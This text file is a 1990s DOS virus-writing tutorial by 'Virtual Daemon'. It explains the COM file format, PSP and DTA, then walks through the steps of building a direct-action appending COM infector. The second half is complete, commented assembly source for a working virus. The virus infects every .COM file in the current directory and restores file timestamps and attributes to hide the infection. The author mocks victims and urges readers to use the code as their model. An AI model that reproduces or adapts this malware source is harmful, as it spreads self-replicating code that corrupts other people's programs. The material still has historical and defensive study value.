home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / VIRDCOLL.ZIP / COM_TUT.TXT < prev    next >
Text File  |  1997-07-07  |  19KB  |  412 lines

  1.  
  2.                 ┌──────────────────────────────────────────┐
  3.                 │      Direct COM infection tutorial       │
  4.                 │            by Virtual Daemon             │
  5.                 └──────────────────────────────────────────┘
  6.  
  7.   This tutorial is dedicated to all those people out there, who have learned
  8. how to make an overwritting virus and now they want more. So, if you already
  9. know how to build a shitty COM infector, get the hell out of here now! :) You
  10. are only wasting your time with this crap.
  11.   First of all I would like to say that COM viruses, are the lowest form of
  12. what we call a "real PC virus". If you've read my tutorial from the previous
  13. issue of SLAM Magazine about overwritting virii, and U still think that over-
  14. writting virii are good, then U really suck! That tutorial and the OVCT kit
  15. are only for those ppl who either are stupid and don't understand how to build
  16. a simple COM infector, either for the people who are too lazy for coding
  17. virii, and they don't care if they destroy other's programs. Anyway, I
  18. received about 20 e-mails from people who told me that my OVCT helped them in
  19. understanding virii, and in understanding the basics assembler stuff. Thx
  20. for mailing me, guys! This tutorial is for you! ;-)
  21.  
  22.   Well, let's get started... First we'll begin with a brief discusion about
  23. the COM programs!
  24.  
  25.   COM files are the simplest binary executable files. They are nothing else,
  26. but some memory images. When a COM program is executed, the DOS operating
  27. system will create a PSP (Program Segment Prefix).
  28.   The PSP is nothing else but a DOS structure of 256 bytes length, where the
  29. operating system will keep some important informations, like some interrups
  30. handlers or the command line parameters. When the COM program is actually
  31. beginning it's execution, the ds:0000 and es:0000 will represent the beginning
  32. address of the PSP.
  33.   The PSP musn't be so important for you right now, but anyway, I'll try to
  34. explain some of it's "features"... Maybe this way you'll get it better. And
  35. besides that, if you will learn about the PSP now, you wont have any trouble
  36. later when you will start coding your own virii.... So, here goes... ;)
  37.  
  38. P.S.If you don't understand this or you think that this is too hard for you to
  39. understand right now, skip over, and read it later. Anyway, you will have to
  40. learn it sometime, either you like it or not... hehehe! :)
  41.  
  42. The structure of the PSP looks like this:
  43. Offset   Size  Description
  44. ──────   ────  ───────────
  45.   0h       2    INT 20h =  EXE programs may jump or ret here (PSP:0) to exit
  46.   2h       2    MemTop  =  top of available system memory in paragraphs
  47.   4h       1    DOS reserved area
  48.   5h       5    CALL offset segment =  FAR CALL to DOS function dispatcher
  49.  0ah       4    offset segment    =    Terminate address (INT 22h)
  50.  0eh       4    offset segment    =    Ctrl+Break handler address (INT 23h)
  51.  12h       4    offset segment    =    Critical error handler address (INT 24h)
  52.  16h      16h   DOS reserved area
  53.  2ch       2    EnvSeg  =  Segment address of DOS environment
  54.  2eh      2eh   DOS reserved area
  55.  5ch      10h   formatted parm area 1 = setup as an FCB for 1st cmd parameter
  56.  6ch      14h   formatted parm area 2 = setup as an FCB for 2nd cmd parameter
  57.  80h       1    len        offset of default DTA, also count of chars in UPA
  58.  81h      7fh   UPA (Unformatted Parm Area) = chars from DOS command line
  59.  
  60.   Ok. Now let's explain what everything means...
  61.  ■ The first 2 bytes from offset 0, contains the code of a INT 20h instruction
  62. (exit to DOS), which let any program to return to the operating system by
  63. JMP-ing to this address. This stuff is not used any more, bcoz the traditional
  64. method to return to the operating system is now "mov ah,4ch/int 21h".
  65.  ■ The next 2 bytes from offset 2, contains the available memory size in para-
  66. graphs. A paragraph contains 16 bytes. This information is used in the
  67. loading process of the executable file.
  68.  ■ The byte from 4 is reserved for the operating system.
  69.  ■ The 5 bytes from offset 5 contains the code of a CALL instruction (far) to
  70. the DOS dispatcher.
  71.  ■ The next 4 bytes from offset 0ah contains a terminate address. This address
  72. can be accesed with INT 22h. Int 22h is another method for terminating a DOS
  73. program. Also, like Int 20h, Int 22h isn't used.
  74.  ■ The 4 bytes from 0eh contains the address of Int 23h (Ctrl+Break address)
  75. vector. As you all know (I hope), Ctrl+Break causes a program to terminate
  76. imediatly. If Break variable (can be set from config.sys) is on, DOS will
  77. sense Ctrl+Break during all functions except 6h (console I/O) and 7h (no echo
  78. unfiltered console input). If Break is off, DOS will only sense Ctrl+Break
  79. during console, printer and serial device I/O.
  80.  ■ The 4 bytes from offset 12h contains the critical error handler (INT 24h)
  81. address. The Int 24h interrupt is activated when a driver encounters a critical
  82. error.
  83.  ■ The following 22 bytes (16h) from offset 16h are reserved for DOS.
  84.  ■ The next 2 bytes from 2ch contains the segment address of the DOS
  85. environment (or paragraph number of the environment). The DOS environment is
  86. an area of memory smaller then 32K where all the PATH's and SET's are saved.
  87. All the informations from this area are stored in a set of ASCIIZ strings.
  88.  ■ The next 46 bytes (2eh) from offset 2eh are reserved for DOS.
  89.  ■ The next 16 bytes (10h) from offset 5ch contains the first command line
  90. parameter specified.
  91.  ■ The next 20 byte (14h) from offset 6ch contains the 2nd command line param.
  92.  ■ The following byte from 80h contains the length of the DOS command line
  93. in bytes. Also, at 80h is stored the offset of the default DTA (Disk Transfer
  94. address).
  95.  ■ The next 127 bytes (7fh) stored from offset 81h contains the DOS command
  96. line. The first 43 bytes from offset 80h are used as the default DTA.
  97.  
  98.   What do you have to learn from all this crap? One: in the PSP are stored
  99. important interrupt vectors such as Int 22h, Int 23h or Int 24h. Two: the PSP
  100. contains the DOS command line (program's parameters). Three: the PSP contains
  101. the amount of memory available for the program. Four: there are 0-2 FCB's for
  102. the file unopened. And five: the default DTA is stored at offset 80h of PSP.
  103.   If you know all this stuff, then you can use them properly in your virii.
  104. What's important for our direct COM virus right now,  is the DTA area (stored
  105. at 80h). I will explain the structure of DTA a little later, after I finish
  106. with the COM programs.
  107.  
  108.   So, we've seen how the PSP looks. Like I told U before, the PSP is created
  109. by DOS when the program is executed. After that, the program will be loaded
  110. in memory right after the PSP (at 100h=256). So, the COM file starts at offset
  111. 100h. Here's a little "graphic":
  112.  
  113.    CS:0000      ┌─────────────┐
  114.                 │     PSP     │
  115.    CS:0100      ├─────────────┤
  116.                 │      .      │  ┐
  117.                 │      .      │  ├─ here goes the whole program
  118.                 │      .      │  ┘
  119.    CS:FFFE      ├─────────────┤
  120.                 │      0      │
  121.                 └─────────────┘
  122.  
  123.   The COM files can be run only in the current segment. The size of a segment
  124. is 64 KBytes. That means that the size of a COM file can't be bigger then
  125. 64K-256(size of PSP)=65280. So, the file must have less then 65280-size of
  126. virus before infection. If we don't check for the size of the file, the PSP
  127. may get corrupted...
  128.  
  129.   Ok. Now that I've explained you how a COM file is loaded, let's get to the
  130. fun part: our virus!
  131.  
  132.   First, I'll try to explain what is the theory in infecting a COM file, and
  133. then I will show you the source code of a example virus.
  134.  
  135.   We have several methods to infect a COM file. We can append our virus to the
  136. end of the file, we can save a number of bytes from the beginning to the end
  137. and then we can put our virus at the beginning of file OR we can put the virus
  138. anywhere in the file... The last method is the trickiest one, and it's used
  139. only for researching purposes. To make it work, you need to recalculate a lot
  140. of stuff.
  141.   I will try to talk about the 1st method (REAL appending), since this is more
  142. used then all the others.
  143.  
  144.   For infecting a COM file, theoretically you need to change the first 3 bytes
  145. of the program with a JMP to your virus which will be appended at the end of
  146. the host program. Then, after the virus has been executed you need to restore
  147. the original 3 bytes in memory so the original program can run. This way your
  148. virus gets to be executed first, and then you will pass control to the original
  149. program which will run normaly.
  150.  
  151.   Let's see how the program is gonna look after infection:
  152.   Begin:
  153.      Jmp virus          ;jump to our virus
  154.   Real_program:         ;here begins the real program
  155.      .
  156.      .
  157.      .
  158.      .
  159.   Virus:                ;our virus
  160.      ..
  161.      ..
  162.      ..
  163.      Jmp Real_program   ;pass control to the original program
  164.  
  165.   Okie, dokie! So, we have seen how your infected file is gonna look like...
  166. Before jumping into the infecting method, I must show you the structure of
  167. DTA (well, I think I already did it in my Overwritting Tut, but what the
  168. hell? ;)...
  169.  
  170.   Offset   Size   Description
  171.   ──────   ────   ───────────
  172.     0       21    reserved area  = used in subsequent calls to 4fh function
  173.    15h       1    attr           = file attributes
  174.    16h       2    time           = time of file created/last modified
  175.    18h       2    date           = date of file created/last modified
  176.    1ah       4    size           = file size in bytes
  177.    1eh      13    name           = file name (13 bytes ASCIIZ filespec)
  178.  
  179.    Well, enough with the theory bullshit! Let's get to some action!!! ;-))
  180.  
  181.    Steps in creating a direct action appending COM infector:
  182. 1) Calculate the Delta-offset
  183. 2) Restore the original 3 bytes
  184. 3) Set a new DTA
  185. 4) Find a file to infect
  186.   - if no files found then go to 20
  187.   - else continue
  188. 5) Save original file attributes (optional)
  189. 6) Reset attributes to archive
  190. 7) Open file for RW and put handle in BX
  191.   - if error then go to 18
  192.   - else continue
  193. 8) Save original file time/date (optional)
  194. 9) Read the 1st 3 bytes from file
  195. 10) Check if already infected
  196.   - if infected then go to 17
  197.   - else continue
  198. 11) Prepare the JMP
  199. 12) Go to beginning of file
  200. 13) Write new JMP
  201. 14) Go to end of file
  202. 15) Write the virus
  203. 16) Restore original file time/date (optional)
  204. 17) Close the file
  205. 18) Restore original file attributes (optional)
  206. 19) Find another file to infect
  207.   - if no files found then go to 20
  208.   - else jump to 5
  209. 20) Restore original DTA
  210. 21) Restore to host
  211.  
  212.    These are the steps in creating a direct COM infector. Note that this is
  213. not the simples COM infector! It contains a little more instruction then the
  214. simplest direct action infector! This virus will search the current directory
  215. and will infect all files found. It will also save/restore file time/date/
  216. attributes. And, it will check if the file is already infected.
  217.  
  218.    I wont take all the steps one by one with the appropriate asm function,
  219. bcoz, after reading my Overwritting Tut, you're suppose to know what function
  220. to use for finding a file or for opening one... Anyway, I WILL comment as much
  221. as I can the example virus. It's a very simple COM infector. I suggest you to
  222. use it from now on, as your model...
  223.  
  224.    Ok. Here's the source code... The source will show you the basics in
  225. creating a simple COM infector. You can do whatever you want with it...
  226.    Read it, like it, love it, eat it! ;-)
  227.    
  228.    Oh,  btw: DO NOT SPREAD SHIT LIKE THIS!!! Wait till you're gonna do at least
  229. a TSR virus.... ;)
  230.  
  231.    Well, enjoy reading!   See ya' later dude!  Peace!   O:-)
  232.  
  233. ---------- cut here ----------
  234. ; Virus Name: Example
  235. ; Virus Type: Direct appending COM infector
  236. ; Comments: - the virus will search and infect all the COM files from current
  237. ;             directory
  238. ;           - will check if a file has been already infected or not
  239. ;           - will save/restore file time/date/attributes
  240. ; Assemble with: tasm example.asm
  241. ;                tlink /t example.obj
  242. ;
  243. code segment
  244.    assume cs:code,ds:code
  245.    org 100h                     ;starts at 100h => COM File
  246.  
  247. begin:
  248.    db 0e9h                      ;jmp start ('db 0e9h' contains the JMP code)
  249.    dw 0                         ;'dw 0' containts the offset (where to JMP)
  250.  
  251. start:
  252.    call find_offset             ;must find out the real delta offset
  253. find_offset:
  254. ;calculate the delta offset
  255.    pop bp                       ;bp holds IP
  256.    sub bp,offset find_offset    ;find the delta offset (BP='delta offset' now)
  257.  
  258. ;restore the original 3 bytes in memory
  259.    lea si,[bp+jmpbuf]           ;change the first 3 bytes to original
  260.    mov di,100h                  ;100h=where the program begins
  261.    push di                      ;save di=100h for retn (return to program)
  262.    movsw                        ;move a word from ds:si in memory \
  263.                                 ;                                  |=> 3 bytes
  264.    movsb                        ;move a byte -------- " " ------- /
  265.  
  266. ;set a new DTA buffer. Note that the size of DTA is 42 bytes.
  267.    lea dx,[bp+dta]              ;set a new DTA buffer
  268.    mov ah,1ah                   ;DOS function=Set Disk Transfer Address
  269.    int 21h
  270.  
  271. find_file:
  272. ;find a file to infect
  273.    mov ah,4eh                   ;DOS function=Find 1st Matching File
  274.    mov cx,7                     ;any file attribute
  275.    lea dx,[bp+filespec]         ;search for "filespec" files only (.COM)
  276. again:                          ;label for find next
  277.    int 21h
  278.    jnc get_atributes            ;if no error encountered go further
  279.    jmp quit                     ;else return to host
  280.  
  281. get_atributes:
  282. ;well like I said before, the name of the file is stored in DTA at 1eh (30)
  283.    lea dx,[bp+dta+1eh]          ;dx holds the name of the file
  284.    xor ch,ch
  285.    mov cl,[bp+offset dta+15h]   ;get file attributes from DTA
  286.    mov byte ptr[bp+file_attr],cl       ;save them into file_attr variable
  287.  
  288. set_atributes:
  289. ;set archive only attribute to file, so we can infect it. We can't infect a
  290. ;read only file unless we do this stuff.
  291.    mov ax,4301h                 ;DOS function=Set File Attribute
  292.    xor cx,cx                    ;cx=0 => file attribute=normal file
  293.    int 21h
  294. open_file:
  295. ;open the file for infection (read + write)
  296.    mov ax,3d02h                 ;DOS function=Open a File (for R & W)
  297.    lea dx,[bp+dta+1eh]          ;dx holds the name of the file
  298.    int 21h
  299.    jnc prepare_infection        ;if file was opened go to infection part
  300.    jmp put_old_atributes        ;else go and put old atributes back
  301. prepare_infection:
  302. ;the open function will return the file handle in ax, BUT all the other
  303. ;functions need it in bx, so we have to change the content of ax with bx
  304.    xchg bx,ax                   ;change bx with ax
  305.  
  306. ;save original file time/date. This is necessary if we want to cover our tracks
  307. ;At the end of the virus, we'll restore this values, so the user will think
  308. ;that this was the last time his file got modified. hehehe...Stupid lamers! ;)
  309.    mov ax,5700h                 ;DOS function=Get File Time/Date
  310.    int 21h
  311.    mov word ptr [bp+file_time],cx     ;save old time in file_time
  312.    mov word ptr [bp+file_date],dx     ;save old date in file_date
  313. check:
  314. ;read the 1st 3 bytes from file to check if the file has been already infected
  315.    mov ah,3fh                   ;DOS function=Read from File
  316.    lea dx,[bp+jmpbuf]           ;save them into jmpbuf
  317.    mov cx,3                     ;read 3 bytes
  318.    int 21h
  319.  
  320.    mov ax,word ptr [bp+dta+26]        ;Get filesize from DTA in ax
  321. ;after the following instruction, the cx register will contain the size of the
  322. ;file before infection... Why? Because our virus was suppose to jump to the
  323. ;end of the file, where it's code was stored... :)
  324.    mov cx,word ptr [bp+jmpbuf+1]
  325.    add cx,heap-start+3          ;cx=filesize-virus+3
  326.    cmp cx,ax                    ;compare the 2 values
  327. ;if the 2 values are equal, the file has been already infected
  328.    jne infect                   ;if not equal then infect file
  329.    jmp close_file               ;else close_file
  330.  
  331. infect:
  332. ;the following 4 lines will prepare the JMP code which will be placed at the
  333. ;beginning of the file. Note that the 1st byte is the JMP code (0e9h) and the
  334. ;next 2 bytes are the offset (the adress where to jump).
  335.    mov byte ptr[bp+buffer],0e9h       ;JMP code
  336.    mov ax,word ptr[bp+dta+26]         ;get file size
  337.    sub ax,3                           ;ax=filesize-3 (size of JMP)
  338.    mov word ptr[bp+buffer+1],ax       ;offset of JMP
  339.  
  340. ;here we seek to the beginning of file
  341.    mov ax,4200h                 ;DOS function=Set File Pointer
  342.    xor cx,cx                    ;go to beginning of file (BOF)
  343.    xor dx,dx
  344.    int 21h
  345.  
  346. ;write the new JMP instruction which will jump to our virus when the file gets
  347. ;executed
  348.    mov ah,40h                   ;DOS function=Write to File
  349.    mov cx,3                     ;write 3 bytes to beginning of file
  350.    lea dx,[bp+buffer]           ;from buffer
  351.    int 21h
  352.  
  353. ;seek to end of the file
  354.    mov ax,4202h                 ;DOS function=Set File Pointer
  355.    xor cx,cx                    ;go to end of file (EOF)
  356.    xor dx,dx
  357.    int 21h
  358.  
  359. ;write the whole virus code
  360.    mov ah,40h                   ;DOS function=Write to File
  361.    mov cx,heap-start            ;size of virus
  362.    lea dx,[bp+start]            ;from beginning
  363.    int 21h
  364.  
  365. close_file:
  366. ;restore original file time/date values
  367.    mov dx,word ptr [bp+file_date]     ;dx=original date value
  368.    mov cx,word ptr [bp+file_time]     ;cx=original time value
  369.    mov ax,5701h                 ;DOS function=Set File Time/Date
  370.    int 21h
  371.  
  372. ;close the file
  373.    mov ah,3eh                   ;DOS function=Close File
  374.    int 21h
  375. put_old_atributes:
  376. ;restore the original file attributes
  377.    mov ax,4301h                 ;DOS function=Set File Attribute
  378.    lea dx,[bp+offset dta+1eh]   ;dx=file name
  379.    xor ch,ch
  380.    mov cl,byte ptr [bp+file_attr]     ;cl=original file attribute
  381.    int 21h
  382. find_next:
  383. ;search for another file to infect
  384.    mov ah,4fh                   ;DOS funtion=Find Next Matching File
  385.    jmp again                    ;do it!
  386.  
  387. quit:
  388. ;restore the default DTA
  389.    mov dx,80h   ;change the DTA to original (DTA is stored at 80h in the PSP)
  390.    mov ah,1ah   ;DOS function=Set Disk Transfer Address
  391.    int 21h
  392.  
  393.    retn         ;pass control to the host program in memory
  394.  
  395. jmpbuf           db 0cdh,20h,0          ;=int 20h
  396. filespec         db '*.com',0           ;what kind of files to search
  397. virus_sign       db 'Direct-COM'        ;name of the virus. Kinda cool, ha? ;)
  398.  
  399. heap:
  400. dta        db 43 dup (?)                ;our new DTA buffer
  401. file_attr  db ?                         ;original file attributes
  402. file_time  dw ?                         ;original file time
  403. file_date  dw ?                         ;original file date
  404. buffer     db 3 dup(?)                  ;3 bytes buffer. Used for checking
  405.                                         ;if the file was already infected.
  406. code ends
  407. end begin
  408. ---------- cut here ----------
  409.  
  410.   You can reach me via e-mail at: virtual_daemon@hotmail.com
  411.  
  412.